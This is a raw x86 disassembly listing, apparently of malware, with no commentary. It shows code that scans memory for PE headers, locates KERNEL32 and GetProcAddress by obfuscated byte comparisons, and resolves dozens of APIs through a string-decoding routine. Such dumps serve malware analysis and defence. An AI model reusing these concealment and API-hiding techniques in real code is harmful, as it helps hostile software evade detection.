loc_420456:				; CODE XREF: sub_4202BE+173j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420468:				; CODE XREF: sub_4202BE+135j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420471:				; CODE XREF: sub_4202BE+104j
		inc	[ebp+var_8]


loc_420474:				; CODE XREF: sub_4202BE+CCj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_42038F


loc_420480:				; CODE XREF: sub_4202BE:loc_420374j
		lea	eax, ds:100122F4h
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	100138ACh
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	100138ACh
		push	[ebp+var_14]
		push	dword ptr ds:100122D4h
		call	sub_4238BF
		add	esp, 10h
		mov	[ebp+var_18], eax
		movsx	ecx, word ptr ds:100120D0h
		cmp	eax, ecx
		jnz	short loc_4204E8
		mov	eax, ds:100122D4h
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword ptr ds:100122D4h,	0


loc_4204E8:				; CODE XREF: sub_4202BE+75j
					; sub_4202BE+216j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4202BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+10h]
		push	1001396Ch
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_420519
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_420561
; ---------------------------------------------------------------------------


loc_420519:				; CODE XREF: .data:00420507j
		push	100138ECh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_420539
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_420561
; ---------------------------------------------------------------------------


loc_420539:				; CODE XREF: .data:00420527j
		push	100138CCh
		push	esi
		call	dword ptr ds:10011644h
		or	eax, eax
		jz	short loc_420559
		mov	eax, [ebp+8]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_420561
; ---------------------------------------------------------------------------


loc_420559:				; CODE XREF: .data:00420547j
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_420561:				; CODE XREF: .data:00420517j
					; .data:00420537j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_420568	proc near		; CODE XREF: .data:00423046p
		push	edi
		push	10013236h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000E5E8h
		mov	ds:100121F8h, eax
		test	eax, eax
		jnz	short loc_42059B
		push	10013226h
		call	sub_4228CE
		pop	ecx
		push	eax
		call	dword ptr ds:1000F244h
		mov	ds:100121F8h, eax


loc_42059B:				; CODE XREF: sub_420568+1Aj
		push	10013215h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121F8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5ECh, eax
		push	10013201h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121F8h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C03Ch, eax
		push	100131F2h
		call	sub_4228CE
		add	esp, 0Ch
		push	eax
		push	dword ptr ds:100121F8h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011618h, eax
		pop	edi
		retn
sub_420568	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+10h]
		mov	eax, 10009652h
		mov	[esi+0B8h], eax
		mov	eax, [ebp+0Ch]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, ds:1001218Ch
		dec	eax
		cmp	ds:10011BA8h, eax
		jbe	short loc_420633
		push	10011BA8h
		call	dword ptr ds:1000C010h


loc_420633:				; CODE XREF: .data:00420626j
		mov	eax, ds:10011BA8h
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42063C	proc near		; CODE XREF: sub_41E5D9+C2p
					; sub_41E5D9+FFp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100121B4h
		add	edx, ds:100120B8h
		sub	edx, 5
		cmp	eax, edx
		jnz	short loc_420680
		mov	eax, 65h
		jmp	loc_420707
; ---------------------------------------------------------------------------


loc_420680:				; CODE XREF: sub_42063C+38j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100120B8h
		movsx	ecx, word ptr ds:100120F4h
		add	edx, ecx
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	short loc_4206A1
		mov	eax, 79h
		jmp	short loc_420707
; ---------------------------------------------------------------------------


loc_4206A1:				; CODE XREF: sub_42063C+5Cj
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:100120E0h
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_4206BA
		mov	eax, 75h
		jmp	short loc_420707
; ---------------------------------------------------------------------------


loc_4206BA:				; CODE XREF: sub_42063C+75j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100121B0h
		add	edx, ds:100121C4h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4206D8
		mov	eax, 69h
		jmp	short loc_420707
; ---------------------------------------------------------------------------


loc_4206D8:				; CODE XREF: sub_42063C+93j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:100121BCh
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4206F1
		mov	eax, 6Fh
		jmp	short loc_420707
; ---------------------------------------------------------------------------


loc_4206F1:				; CODE XREF: sub_42063C+ACj
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100120FCh
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_420707
		mov	eax, 61h


loc_420707:				; CODE XREF: sub_42063C+3Fj
					; sub_42063C+63j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_42063C	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 80004001h
		db 0C2h, 18h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword ptr ds:1000E614h
		pop	edi
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+18h]
		mov	[ebp+18h], ax
		mov	eax, ds:100120ACh
		add	eax, 0C5h
		cmp	[ebp+0Ch], eax
		jnz	loc_420858
		mov	word ptr [ebp-18h], 3
		lea	eax, [ebp-10h]
		push	eax
		mov	eax, ds:100122D4h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	[ebp-4], eax
		movsx	eax, word ptr ds:1001216Ch
		add	eax, ds:100121A0h
		sub	eax, 0Ah
		cmp	[ebp-4], eax
		jnz	loc_420854
		dec	dword ptr [ebp-10h]
		lea	eax, [ebp-1Ch]
		push	eax
		lea	esi, [ebp-18h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:100122D4h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	[ebp-4], eax
		mov	eax, ds:100120B4h
		sub	eax, 8
		cmp	[ebp-4], eax
		jnz	loc_420854
		lea	eax, [ebp-20h]
		push	eax
		push	1001397Ch
		mov	eax, [ebp-1Ch]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		mov	eax, ds:100120ACh
		sub	eax, 3
		cmp	[ebp-4], eax
		jnz	short loc_42084B
		lea	eax, ds:100122D0h
		mov	[ebp-8], eax
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		lea	eax, [ebp-24h]
		push	eax
		push	100138BCh
		mov	eax, [ebp-8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp-4], eax
		mov	eax, ds:100120A8h
		sub	eax, 3
		cmp	[ebp-4], eax
		jnz	short loc_420839
		lea	eax, [ebp-2Ch]
		push	eax
		push	100138BCh
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp-20h]
		call	sub_4238BF
		add	esp, 10h
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_420839:				; CODE XREF: .data:00420814j
		mov	eax, [ebp-8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, [ebp-20h]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_42084B:				; CODE XREF: .data:004207DFj
		mov	eax, [ebp-1Ch]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_420854:				; CODE XREF: .data:0042077Fj
					; .data:004207B5j
		xor	eax, eax
		jmp	short loc_42085D
; ---------------------------------------------------------------------------


loc_420858:				; CODE XREF: .data:0042074Ej
		mov	eax, 80020003h


loc_42085D:				; CODE XREF: .data:00420856j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h

; =============== S U B	R O U T	I N E =======================================



sub_420864	proc near		; CODE XREF: .data:00420FBCp
		push	edi
		push	100131E4h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011660h, eax
		push	100131DCh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D00Ch, eax
		push	100131C8h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5E8h, eax
		push	100131B8h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F244h, eax
		push	100131A9h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011788h, eax
		push	1001319Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C008h, eax
		push	10013188h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011B9Ch, eax
		push	1001317Bh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011B8Ch, eax
		push	1001316Ch
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010650h, eax
		push	1001315Dh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011624h, eax
		push	10013151h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C000h, eax
		push	10013146h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E0E0h, eax
		push	1001312Fh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C00Ch, eax
		push	10013118h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1001163Ch, eax
		push	10013102h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011608h, eax
		push	100130F2h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C034h, eax
		push	100130E6h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C028h, eax
		push	100130D6h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F248h, eax
		push	100130C7h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010630h, eax
		push	100130B9h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA34h, eax
		push	100130ACh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E618h, eax
		push	1001309Bh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F25Ch, eax
		push	1001308Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C02Ch, eax
		push	1001307Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011770h, eax
		push	10013068h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F258h, eax
		push	10013057h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D004h, eax
		push	1001304Ah
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E608h, eax
		push	10013039h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011664h, eax
		push	10013024h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1001164Ch, eax
		push	10013014h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000D000h, eax
		push	10012FFFh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E0D4h, eax
		push	10012FF2h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000F364h, eax
		push	10012FE2h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1001161Ch, eax
		push	10012FD4h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010644h, eax
		push	10012FBEh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10010638h, eax
		push	10012FA7h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5FCh, eax
		push	10012F8Fh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000EA3Ch, eax
		push	10012F77h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000C010h, eax
		push	10012F5Eh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011614h, eax
		push	10012F4Bh
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011780h, eax
		push	10012F33h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011778h, eax
		push	10012F22h
		call	sub_4228CE
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:10011B98h, eax
		push	10012F10h
		call	sub_4228CE
		add	esp, 0ACh
		push	eax
		push	dword ptr ds:100121D4h
		call	dword ptr ds:1000E1F8h
		mov	ds:1000E5F4h, eax
		pop	edi
		retn
sub_420864	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_420D24:				; CODE XREF: .data:00420D4Dj
		push	dword ptr ds:100121A4h
		call	dword ptr ds:10011630h
		pop	ecx
		mov	eax, ds:100121CCh
		add	eax, ds:100121A0h
		sub	eax, 0Ah
		push	eax
		push	10009318h
		push	0
		call	dword ptr ds:1000C048h
		jmp	short loc_420D24
; ---------------------------------------------------------------------------
		db 5Dh
		db 0C2h, 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, ds:10009C0Ah
		mov	[ebp-10h], eax
		mov	edx, eax
		movsx	ecx, word ptr ds:10012128h
		add	ecx, 10h
		mov	eax, edx
		shr	eax, cl
		movsx	edx, word ptr ds:1001216Ch
		add	edx, 0Ch
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_420D88:				; CODE XREF: .data:00420DABj
					; .data:00420DDCj ...
		mov	[ebp-18h], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_420DAD
		movsx	eax, word ptr ds:100120BCh
		movsx	edx, word ptr ds:10012194h
		lea	eax, [eax+edx+0FFF7h]
		sub	ebx, eax
		jmp	short loc_420D88
; ---------------------------------------------------------------------------


loc_420DAD:				; CODE XREF: .data:00420D92j
		movsx	eax, word ptr ds:10012100h
		lea	eax, [eax+eax+2Ah]
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		cmp	eax, ecx
		jbe	short loc_420DDE
		mov	eax, ds:100121ACh
		add	eax, 0FFFCh
		add	eax, ds:100121B0h
		sub	ebx, eax
		jmp	short loc_420D88
; ---------------------------------------------------------------------------


loc_420DDE:				; CODE XREF: .data:00420DC8j
		mov	eax, [ebp-14h]
		mov	[ebp-8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_420DFE
		movsx	eax, word ptr ds:1001219Ch
		add	eax, 0FFFAh
		sub	ebx, eax
		jmp	short loc_420D88
; ---------------------------------------------------------------------------


loc_420DFE:				; CODE XREF: .data:00420DECj
		mov	eax, [ebp-8]
		mov	eax, [eax+80h]
		mov	[ebp-0Ch], eax
		mov	eax, ds:1001218Ch
		dec	eax
		mov	[ebp-4], eax
		jmp	loc_420FA1
; ---------------------------------------------------------------------------


loc_420E18:				; CODE XREF: .data:00420FADj
		mov	eax, ebx
		add	eax, [ebp-0Ch]
		add	eax, [ebp-4]
		mov	[ebp-12Ch], eax
		mov	edx, ds:100121A4h
		cmp	[eax], edx
		jz	loc_420FB3
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp-130h], edx
		push	edx
		lea	eax, [ebp-127h]
		push	eax
		call	sub_424F6D
		mov	eax, ds:100120A0h
		add	eax, ds:100121ACh
		sub	eax, 8
		mov	[ebp-28h], eax
		jmp	short loc_420E87
; ---------------------------------------------------------------------------


loc_420E65:				; CODE XREF: .data:00420EA3j
		mov	eax, [ebp-28h]
		mov	al, [ebp+eax-127h]
		cmp	al, 61h
		jle	short loc_420E84
		cmp	al, 7Ah
		jge	short loc_420E84
		mov	eax, [ebp-28h]
		lea	eax, [ebp+eax-127h]
		sub	byte ptr [eax],	20h


loc_420E84:				; CODE XREF: .data:00420E71j
					; .data:00420E75j
		inc	dword ptr [ebp-28h]


loc_420E87:				; CODE XREF: .data:00420E63j
		mov	eax, [ebp-28h]
		movsx	eax, byte ptr [ebp+eax-127h]
		mov	edx, ds:10012094h
		add	edx, ds:1001211Ch
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_420E65
		mov	eax, ds:100121C0h
		mov	edx, eax
		add	edx, ds:100120B4h
		cmp	byte ptr [ebp+edx-132h], 4Bh
		jnz	loc_420F9D
		mov	edx, ds:10012158h
		movsx	ecx, word ptr ds:10012114h
		add	edx, ecx
		cmp	byte ptr [ebp+edx-128h], 45h
		jnz	loc_420F9D
		mov	edx, ds:10012124h
		add	edx, ds:10012140h
		cmp	byte ptr [ebp+edx-12Eh], 52h
		jnz	loc_420F9D
		movsx	edx, word ptr ds:10012100h
		add	eax, edx
		cmp	byte ptr [ebp+eax-12Eh], 4Ch
		jnz	loc_420F9D
		mov	eax, ds:10012138h
		mov	edx, ds:1001210Ch
		add	edx, eax
		cmp	byte ptr [ebp+edx-130h], 33h
		jnz	short loc_420F9D
		cmp	byte ptr [ebp+eax-128h], 32h
		jnz	short loc_420F9D
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp-138h], edx
		mov	eax, ds:100120A4h
		movsx	edx, word ptr ds:100121A8h
		add	eax, edx
		sub	eax, 2
		mov	[ebp-134h], eax


loc_420F57:				; CODE XREF: .data:00420F99j
		mov	eax, [ebp-138h]
		mov	esi, eax
		add	esi, [ebp-134h]
		mov	edi, [esi]
		mov	eax, ds:100120F8h
		add	eax, ds:1001214Ch
		sub	eax, 8
		cmp	edi, eax
		jz	short loc_420FB3
		push	edi
		call	sub_421013
		pop	ecx
		cmp	dword ptr ds:100121D4h,	0
		jnz	short loc_420FB3
		movsx	eax, word ptr ds:10012090h
		add	eax, 3
		add	[ebp-134h], eax
		jmp	short loc_420F57
; ---------------------------------------------------------------------------
		db 0EBh
		db 16h
; ---------------------------------------------------------------------------


loc_420F9D:				; CODE XREF: .data:00420EBAj
					; .data:00420ED7j ...
		add	dword ptr [ebp-4], 14h


loc_420FA1:				; CODE XREF: .data:00420E13j
		mov	eax, [ebp-8]
		mov	eax, [eax+84h]
		cmp	[ebp-4], eax
		jb	loc_420E18


loc_420FB3:				; CODE XREF: .data:00420E2Ej
					; .data:00420F77j ...
		cmp	dword ptr ds:100121D4h,	0
		jz	short loc_42100E
		call	sub_420864
		call	sub_422A6F
		call	sub_423BBE
		mov	edx, eax
		mov	[ebp-19h], dl
		movzx	eax, byte ptr [ebp-19h]
		mov	edx, ds:1001210Ch
		add	edx, ds:10012094h
		sub	edx, 0Bh
		cmp	eax, edx
		jz	short loc_42100E
		lea	eax, [ebp-24h]
		push	eax
		mov	eax, ds:100121C4h
		sub	eax, 5
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	10009C0Ah
		mov	eax, ds:100121C8h
		sub	eax, 2
		push	eax
		push	0
		call	dword ptr ds:10011B90h


loc_42100E:				; CODE XREF: .data:00420FBAj
					; .data:00420FE5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421013	proc near		; CODE XREF: .data:00420F7Ap

var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_281		= byte ptr -281h
var_26C		= byte ptr -26Ch
var_252		= byte ptr -252h
var_23D		= byte ptr -23Dh
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= byte ptr -220h
var_21F		= byte ptr -21Fh
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_FE		= byte ptr -0FEh
var_FD		= byte ptr -0FDh
var_FC		= byte ptr -0FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, ds:10012188h
		add	ecx, 10h
		shr	edi, cl
		movsx	esi, word ptr ds:10012170h
		add	esi, 8
		mov	ecx, esi
		mov	ebx, edi
		shl	ebx, cl


loc_42103D:				; CODE XREF: sub_421013+50j
					; sub_421013+93j ...
		mov	[ebp+var_114], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_421065
		movsx	eax, word ptr ds:10012114h
		movsx	edx, word ptr ds:1001216Ch
		lea	eax, [eax+edx+0FFFAh]
		sub	ebx, eax
		jmp	short loc_42103D
; ---------------------------------------------------------------------------


loc_421065:				; CODE XREF: sub_421013+37j
		mov	eax, ds:10012098h
		add	eax, 35h
		add	eax, ds:10012108h
		mov	edx, ebx
		add	edx, eax
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_118], edx
		mov	eax, [ebp+arg_0]
		cmp	edx, eax
		jbe	short loc_4210A8
		movsx	eax, word ptr ds:10012090h
		mov	edx, ds:10012104h
		lea	eax, [eax+edx+0FFFCh]
		sub	ebx, eax
		jmp	short loc_42103D
; ---------------------------------------------------------------------------


loc_4210A8:				; CODE XREF: sub_421013+7Bj
		mov	eax, [ebp+var_118]
		mov	[ebp+var_11C], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_4210CF
		mov	eax, ds:100121B4h
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	loc_42103D
; ---------------------------------------------------------------------------


loc_4210CF:				; CODE XREF: sub_421013+A9j
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+78h]
		mov	[ebp+var_120], eax
		mov	ecx, ebx
		add	ecx, eax
		mov	[ebp+var_110], ecx
		mov	eax, ecx
		mov	edx, ebx
		add	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+var_103]
		push	eax
		call	sub_424F6D
		movsx	eax, word ptr ds:10012154h
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_42112D
; ---------------------------------------------------------------------------


loc_42110B:				; CODE XREF: sub_421013+136j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_103]
		cmp	al, 61h
		jle	short loc_42112A
		cmp	al, 7Ah
		jge	short loc_42112A
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_103]
		sub	byte ptr [eax],	20h


loc_42112A:				; CODE XREF: sub_421013+104j
					; sub_421013+108j
		inc	[ebp+var_4]


loc_42112D:				; CODE XREF: sub_421013+F6j
		mov	eax, [ebp+var_4]
		movsx	eax, [ebp+eax+var_103]
		mov	edx, ds:100120E4h
		add	edx, ds:1001218Ch
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_42110B
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_421181
		cmp	[ebp+var_102], 45h
		jnz	short loc_421181
		cmp	[ebp+var_101], 52h
		jnz	short loc_421181
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_421181
		cmp	[ebp+var_FD], 33h
		jnz	short loc_421181
		cmp	[ebp+var_FC], 32h
		jz	short loc_421186


loc_421181:				; CODE XREF: sub_421013+13Fj
					; sub_421013+148j ...
		jmp	loc_4213C3
; ---------------------------------------------------------------------------


loc_421186:				; CODE XREF: sub_421013+16Cj
		mov	eax, ds:10012144h
		add	eax, ds:100121B8h
		sub	eax, 8
		mov	[ebp+var_108], eax
		jmp	loc_4213AE
; ---------------------------------------------------------------------------


loc_42119F:				; CODE XREF: sub_421013+3AAj
		mov	eax, [ebp+var_108]
		mov	ecx, ds:100121C8h
		add	ecx, ds:10012094h
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_424F6D
		mov	eax, ds:10012144h
		add	eax, ds:100120A8h
		cmp	byte ptr [ebp+eax+var_228+1], 47h
		jnz	loc_4213A8
		movsx	eax, word ptr ds:1001216Ch
		add	eax, ds:1001213Ch
		cmp	byte ptr [ebp+eax+var_224+1], 74h
		jnz	loc_4213A8
		mov	eax, ds:100120A0h
		cmp	[ebp+eax+var_220], 50h
		jnz	loc_4213A8
		mov	eax, ds:10012138h
		add	eax, ds:10012158h
		cmp	byte ptr [ebp+eax+var_224+3], 63h
		jnz	loc_4213A8
		mov	eax, ds:10012160h
		add	eax, ds:1001212Ch
		cmp	byte ptr [ebp+eax+var_228+3], 41h
		jnz	loc_4213A8
		mov	eax, ds:10012120h
		add	eax, 4
		add	eax, ds:100120B8h
		cmp	[ebp+eax+var_21F], 72h
